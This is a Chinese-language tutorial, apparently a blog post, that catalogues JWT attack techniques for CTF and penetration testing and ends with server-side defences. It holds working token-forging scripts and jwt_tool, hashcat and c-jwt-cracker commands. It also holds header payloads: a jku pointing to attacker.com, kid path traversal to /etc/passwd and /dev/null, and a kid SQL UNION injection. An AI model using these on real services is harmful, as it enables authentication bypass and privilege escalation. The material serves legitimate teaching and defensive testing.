前言

JWT(JSON Web Token)是现代 Web 应用中最广泛使用的无状态认证方案。它由三部分组成——Header、Payload、Signature,通过 Base64URL 编码后用 . 连接。服务器验证签名即可确认 Token 未被篡改。

JWT 的安全问题集中在三个环节:

  1. 算法层面——alg:none 跳过验证、RS256→HS256 密钥混淆
  2. 密钥层面——弱密钥被爆破、私钥/公钥泄露
  3. Header 注入——jku/jwk/kid 参数被利用

本文从 JWT 结构讲起,按照攻击类型系统整理了 7 大类攻击手法,覆盖从经典的 alg:none 到高级的 kid SQL 注入,并附完整的工具链和防御方案。


一、JWT 基础

1.1 结构

1
2
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
│────── header ──────│────── payload ──────│─────────── signature ────────────│

解码后:

Header:

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

Payload:

1
2
3
4
5
{
"user": "admin",
"iat": 1516239022,
"exp": 1516242622
}

Signature:

1
2
3
4
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)

1.2 常见算法

算法 类型 密钥 签名过程
HS256 HMAC + SHA256 对称密钥(同一个 secret) 双方用相同 secret 签名和验证
HS384 HMAC + SHA384 对称密钥 同上
HS512 HMAC + SHA512 对称密钥 同上
RS256 RSA PKCS#1 + SHA256 非对称(私钥签名,公钥验证) 服务器持有私钥签名
RS384 RSA PKCS#1 + SHA384 非对称 同上
RS512 RSA PKCS#1 + SHA512 非对称 同上
ES256 ECDSA + P-256 + SHA256 非对称 椭圆曲线签名
none 无签名 不签名,直接信任!

核心区别: HS256 用同一个 secret 签名→验证。RS256 用私钥签名、公钥验证。这个区别是密钥混淆攻击的基础。

1.3 在线/离线调试

1
2
3
4
5
# 解码 JWT(不验证签名)
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx" | cut -d'.' -f2 | base64 -d 2>/dev/null

# 推荐:jwt.io 在线调试器
# https://jwt.io/

二、攻击面总览

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
JWT 攻击面:

├── 算法漏洞
│ ├── 1. alg:none ── 跳过签名验证
│ ├── 2. 算法混淆 ── RS256 公钥当 HS256 secret 用
│ └── 3. 非对称→对称降级

├── 密钥弱点
│ ├── 4. 弱密钥爆破 ── c-jwt-cracker / hashcat
│ ├── 5. 私钥泄露 ── 直接伪造任意 Token
│ └── 6. 公钥泄露 ── 配合算法混淆

└── Header 注入
├── 7. jku 注入 ── 指定远程 JWK Set
├── 8. jwk 注入 ── 直接嵌入公钥
├── 9. kid 注入 ── 路径遍历 / SQL 注入
└── 10. typ 混淆 ── JWT ↔ JWE 混淆

三、算法层面攻击

3.1 alg:none —— 签名完全绕过

原理: 某些 JWT 库在处理 "alg": "none" 时,会直接跳过签名验证,认为 Token 合法。

攻击方式: 修改 Header 中的 algnone,Payload 改为任意内容,Signature 部分留空。

手动构造:

1
2
3
4
5
6
7
8
9
10
# Header: {"alg":"none","typ":"JWT"}
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | sed 's/=*$//'
# → eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0

# Payload: {"user":"admin"}
echo -n '{"user":"admin"}' | base64 -w0 | sed 's/=*$//'
# → eyJ1c2VyIjoiYWRtaW4ifQ

# 最终 Token(signature 为空):
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.

用 Python 生成:

1
2
3
4
5
6
7
8
import base64
import json

header = base64.urlsafe_b64encode(json.dumps({"alg": "none", "typ": "JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"user": "admin"}).encode()).rstrip(b'=')

token = header.decode() + "." + payload.decode() + "."
print(token)

注意: alg:none 在主流 JWT 库(如 PyJWTjsonwebtoken)的较新版本中已被修复——必须显式允许 none 算法。但如果目标用的是旧版或配置不当,仍然有效。

3.2 RS256 → HS256 密钥混淆(公钥泄露场景)

这是 CTF 中最常见的 JWT 考点。

前提:

  • 服务器使用 RS256(非对称),公钥可获取(如 /public.key/.well-known/jwks.json
  • JWT 库没有严格限制算法类型——把 Header 中的 algRS256 改为 HS256 后,服务器会用对称密钥方式验证签名
  • 由于 HS256 的”secret”就是签名和验证的同一把钥匙,如果我们把 RS256 的公钥作为 HS256 的 secret 来签名,服务器验证时会用同样的公钥验证 → 验证通过

攻击流程:

1
2
3
服务端原本:header.alg=RS256 → 用公钥验证签名
攻击后: header.alg=HS256 → 用公钥(作为对称密钥)验证签名
攻击者也用同一个公钥签名 → 通过!

Python 实现:

1
2
3
4
5
6
7
8
9
import jwt

# 读取泄露的公钥
public_key = open('public.key', 'r').read()

# 用公钥作为 HS256 的 secret 签名
payload = {"user": "admin"}
token = jwt.encode(payload, key=public_key, algorithm='HS256')
print(token)

Node.js 实现:

1
2
3
4
5
6
7
8
const jwt = require('jsonwebtoken');
const fs = require('fs');

var publicKey = fs.readFileSync('./public.key');

// 用公钥作为 HS256 secret 签名
var token = jwt.sign({user: 'admin'}, publicKey, {algorithm: 'HS256'});
console.log(token);

为什么有效?

  • RS256:签名用私钥 → 验证用公钥
  • HS256:签名和验证用同一个 secret
  • 攻击者拿到公钥 → 把 alg 改成 HS256 → 用公钥作为 secret 签名 → 服务器验证 HS256 时也用公钥 → 签名一致 → 通过

3.3 私钥泄露 —— 直接伪造任意 Token

如果私钥(private.key)泄露,攻击者可以用它正常签名 RS256 Token:

1
2
3
4
5
6
7
8
const jwt = require('jsonwebtoken');
const fs = require('fs');

var privateKey = fs.readFileSync('./private.key');

// 正常用私钥签发 RS256 Token
var token = jwt.sign({user: 'admin'}, privateKey, {algorithm: 'RS256'});
console.log(token);
1
2
3
4
5
import jwt

private_key = open('private.key', 'r').read()
token = jwt.encode({"user": "admin"}, private_key, algorithm='RS256')
print(token)

私钥常见泄露路径:

  • Git 仓库中的 .git/ 泄露 → 找到 private.pem
  • 源码备份文件(.bak.swp.old
  • 错误配置的静态文件路径(/static/private.key
  • 目录遍历漏洞

四、密钥爆破

4.1 弱密钥 —— 暴力破解 HS256

当目标使用 HS256 且 secret 是弱密码时,可以离线爆破。

c-jwt-cracker(C 语言,速度快):

1
2
3
4
5
6
7
8
# 安装
git clone https://github.com/brendan-rius/c-jwt-cracker.git
cd c-jwt-cracker
make

# 爆破
./jwtcrack eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
# 输出:Secret is "secret"

hashcat(GPU 加速):

1
2
3
4
5
6
7
8
# 将 JWT 转为 hashcat 格式
echo "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" > jwt.txt

# 用字典爆破
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# 用 mask 爆破(假设 6 位小写字母)
hashcat -m 16500 jwt.txt -a 3 ?l?l?l?l?l?l

jwt_tool 字典爆破:

1
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

4.2 常见弱密钥 Top 10

1
2
3
4
5
6
7
8
9
10
secret
password
key
123456
admin
changeme
jwt_secret
my_secret
super_secret_key
test

五、Header 注入攻击

5.1 jku 注入 —— 指定远程 JWK Set

jku(JWK Set URL)是 JWT Header 中的一个可选参数,告诉服务器从指定 URL 获取公钥。

1
2
3
4
5
{
"alg": "RS256",
"typ": "JWT",
"jku": "http://attacker.com/jwks.json"
}

攻击流程:

  1. 攻击者自生成 RSA 密钥对
  2. 将公钥以 JWK 格式托管在 http://attacker.com/jwks.json
  3. 在 JWT Header 中注入 jku,指向攻击者的 JWKS
  4. 用对应的私钥签名 Token
  5. 服务器从 jku URL 取公钥 → 验证签名通过

JWKS 格式(jwks.json):

1
2
3
4
5
6
7
8
9
10
11
{
"keys": [
{
"kty": "RSA",
"use": "sig",
"kid": "attacker-key",
"n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
"e": "AQAB"
}
]
}

用 jwt_tool 生成攻击 Key:

1
2
# 生成 RSA 密钥对 + JWKS
python3 jwt_tool.py TOKEN --exploit jku --jwks-path ./jwks.json

防御 jku 注入: 服务端白名单允许的 jku URL,拒绝一切不在白名单中的地址。

5.2 jwk 注入 —— 直接嵌入公钥

jwk 参数允许在 JWT Header 中直接嵌入公钥(无需远程 URL),服务器使用该公钥验证签名。

1
2
3
4
5
6
7
8
9
10
11
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"use": "sig",
"kid": "injected",
"n": "0vx7ag...",
"e": "AQAB"
}
}

攻击流程:

  1. 生成属于自己的 RSA 密钥对
  2. 将公钥嵌入 Header 的 jwk 字段
  3. 用对应的私钥签名
  4. 服务器从 Header 中取公钥验证 → 通过
1
2
# jwt_tool 一键攻击
python3 jwt_tool.py TOKEN --exploit jwk

CVE 案例: CVE-2018-0114(Cisco 的 JWT 库信任 Header 中的 jwk

5.3 kid 注入 —— 路径遍历与 SQL 注入

kid(Key ID)是 Header 中用于标识密钥的字段。服务器根据 kid 从密钥库中选择对应的 key。

场景一:路径遍历

如果后端用 kid 的值作为文件路径读取密钥:

1
2
3
4
5
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../etc/passwd"
}

服务器读取 /etc/passwd 的内容作为 HS256 的 secret → 攻击者用同样的文件内容签名即可通过验证。

更暴力的方式——指向 /dev/null(空文件):

1
2
3
4
5
{
"alg": "HS256",
"typ": "JWT",
"kid": "/dev/null"
}

然后用空字符串作为 secret 签名。

场景二:SQL 注入

如果后端把 kid 拼接到 SQL 查询中:

1
2
3
4
5
{
"alg": "HS256",
"typ": "JWT",
"kid": "x' UNION SELECT 'attacker_secret' --"
}

服务器查询密钥时执行了注入后的 SQL,返回 attacker_secret,攻击者用 attacker_secret 做 HS256 secret 签名即可。

1
2
# jwt_tool kid SQL 注入
python3 jwt_tool.py TOKEN --exploit kid -I

5.4 kid + 对称密钥组合拳

更隐蔽的做法:将 kid 指向一个已知内容的文件(如 /proc/sys/kernel/randomize_va_space 内容为 2\n),然后用该内容作为 HS256 secret 签名。

1
2
3
4
5
{
"alg": "HS256",
"typ": "JWT",
"kid": "/proc/sys/kernel/randomize_va_space"
}

已知该文件内容为 2\n,攻击者用 2\n 作为 secret → 服务器验证通过。

5.5 其他 Header 参数注入

参数 作用 攻击面
cty Content-Type 可能影响后续处理逻辑
typ Token 类型 JWTJWE 混淆,或 JWTJWS 绕过
x5c X.509 证书链 注入恶意证书
x5u X.509 URL 指定远程证书,类似 jku
crit Critical Headers 声明必须被理解的字段,可能造成拒绝服务

六、Payload 注入利用

6.1 常见敏感 Claim

Claim 含义 攻击目标
sub Subject(用户标识) 改成 admin / root
iss Issuer 绕过 Issuer 校验
aud Audience 绕过 Audience 校验
exp Expiration 改为未来时间(或直接删除)
nbf Not Before 改为过去时间(或直接删除)
iat Issued At 通常不影响鉴权
role 自定义(角色) 改为 admin / superuser
username 自定义(用户名) 改为管理员用户名

6.2 批量 Payload 篡改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import jwt
import base64
import json

token = "eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZ3Vlc3QifQ.xxx"

# 解码原始 Payload
parts = token.split(".")
payload = json.loads(base64.urlsafe_b64decode(parts[1] + "=="))

# 篡改
payload["user"] = "admin"
payload["role"] = "admin"

print(f"[*] New payload: {payload}")
# 然后配合签名攻击(alg:none / 密钥混淆 / 爆破)重新签名

七、攻击工具汇总

7.1 jwt_tool(瑞士军刀)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 安装
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool
pip install -r requirements.txt

# 解码和分析
python3 jwt_tool.py TOKEN

# alg:none 攻击
python3 jwt_tool.py TOKEN -X a

# 弱密钥爆破
python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt

# RS256→HS256 密钥混淆
python3 jwt_tool.py TOKEN -X k -pk public.pem

# jku 注入攻击
python3 jwt_tool.py TOKEN -X jku -u http://attacker/jwks.json

# jwk 注入攻击
python3 jwt_tool.py TOKEN -X jwk

# kid 注入攻击
python3 jwt_tool.py TOKEN -X kid -I

# 全自动 Fuzzing
python3 jwt_tool.py -t http://target.com/api -rh "Authorization: Bearer TOKEN" -M at

7.2 Burp Suite 插件

  • JWT Editor (BApp Store) — 解码、编辑、签名 JWT
  • JWT4B — 自动检测常见 JWT 漏洞
  • JSON Web Tokens — 在 Repeater/Proxy 中自动识别和解码 JWT

7.3 其他工具

工具 用途
c-jwt-cracker C 语言暴力破解 HS256 secret
hashcat GPU 加速爆破(mode 16500)
jwt.io 在线 JWT 调试器
jwks.io JWK Set 生成器
PyJWT Python JWT 库(用于构造攻击脚本)
PortSwigger JWT Lab 在线 JWT 攻击实验环境

八、实战攻击链

8.1 典型 CTF 攻击链

1
2
3
4
5
6
7
8
9
10
11
12
┌─────────────────────────────────────────────────────────────┐
│ Step 1: 拿到 JWT → jwt.io 解码,分析 Header 和 Payload │
│ ↓ │
│ Step 2: 尝试 alg:none(修改算法为 none,Payload 改为 admin) │
│ ↓ (失败) │
│ Step 3: 找公钥泄露 → /.well-known/jwks.json → 拿到公钥 │
│ ↓ │
│ Step 4: RS256 → HS256 密钥混淆 │
│ jwt.encode(payload, public_key, algorithm='HS256') │
│ ↓ │
│ Step 5: 用生成的 Token 访问 admin 接口 → 成功 │
└─────────────────────────────────────────────────────────────┘

8.2 更复杂的链:kid SQL 注入 → 控制密钥

1
2
3
4
5
6
1. 拿到 JWT,发现 Header 中有 kid → "some-key-id"
2. 测试 kid 注入:
kid = "x' UNION SELECT 'evil_secret' --"
3. 用 'evil_secret' 做 HS256 secret 签名新 Token
4. 服务器查询密钥库 → SQL 注入返回 'evil_secret'
5. 签名验证通过 → 提权成功

九、防御措施

层面 措施 说明
算法白名单 服务端指定允许的算法列表 拒绝 none,只允许 RS256 或只允许 HS256
算法类型绑定 非对称密钥时禁止对称算法 RS256 的公钥不能用于 HS256 验证
密钥安全 使用足够强的密钥(HS256 ≥ 256 bit) 防止暴力破解
密钥管理 私钥不外泄、定期轮换 密钥文件不放在 Web 目录下
Header 白名单 忽略或拒绝 Header 中的 jku/jwk/kid 等敏感参数 除非业务确实需要
kid 处理 kid 仅用作查找索引,不参与文件路径拼接 防止路径遍历和 SQL 注入
JWKS 端点 不暴露私钥、限制请求频率 /.well-known/jwks.json 仅返回公钥
库版本 使用最新版 JWT 库 旧版库对 alg:nonejwk 注入缺乏防护
Token 有效期 设置较短的 exp(如 15 分钟) 即使 Token 被伪造,窗口期也有限

服务端安全配置示例

Node.js(jsonwebtoken):

1
2
3
4
5
6
7
8
9
const jwt = require('jsonwebtoken');

// 安全验证——指定 algorithm 白名单
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // 只允许 RS256,HS256 无法通过
issuer: 'https://auth.example.com',
audience: 'https://api.example.com',
maxAge: '15m'
});

Python(PyJWT):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import jwt

# 安全验证
payload = jwt.decode(
token,
public_key,
algorithms=['RS256'], # 白名单
options={
'verify_exp': True,
'verify_iss': True,
'verify_aud': True,
'require': ['exp', 'iss', 'sub']
},
issuer='https://auth.example.com',
audience='https://api.example.com'
)

安全密钥生成

1
2
3
4
5
6
# HS256:生成 256-bit 强随机密钥
openssl rand -base64 32

# RS256:生成 2048+ bit RSA 密钥对
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

十、快速决策树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
拿到 JWT Token:
├── 1. 解码 → jwt.io / jwt_tool
├── 2. 试 alg:none
│ └── 成功?→ 直接改 Payload,完成
├── 3. 试弱密钥爆破(HS256)
│ └── c-jwt-cracker / hashcat / jwt_tool -C
├── 4. 找公钥泄露(RS256)
│ ├── /.well-known/jwks.json
│ ├── /public.key / /public.pem
│ ├── /jwks.json / /api/jwks
│ └── 找到?→ RS256→HS256 密钥混淆
├── 5. 检查 Header 敏感参数
│ ├── jku 存在?→ 注入自己的 JWKS URL
│ ├── jwk 存在?→ 注入自己的公钥
│ └── kid 存在?→ 路径遍历 / SQL 注入
├── 6. 无以上漏洞?
│ ├── 检查 typ 混淆(JWT ↔ JWE)
│ ├── 检查 cty 注入
│ └── 尝试整数溢出 / 格式混淆
└── 7. jwt_tool -M at 全自动 Fuzzing

参考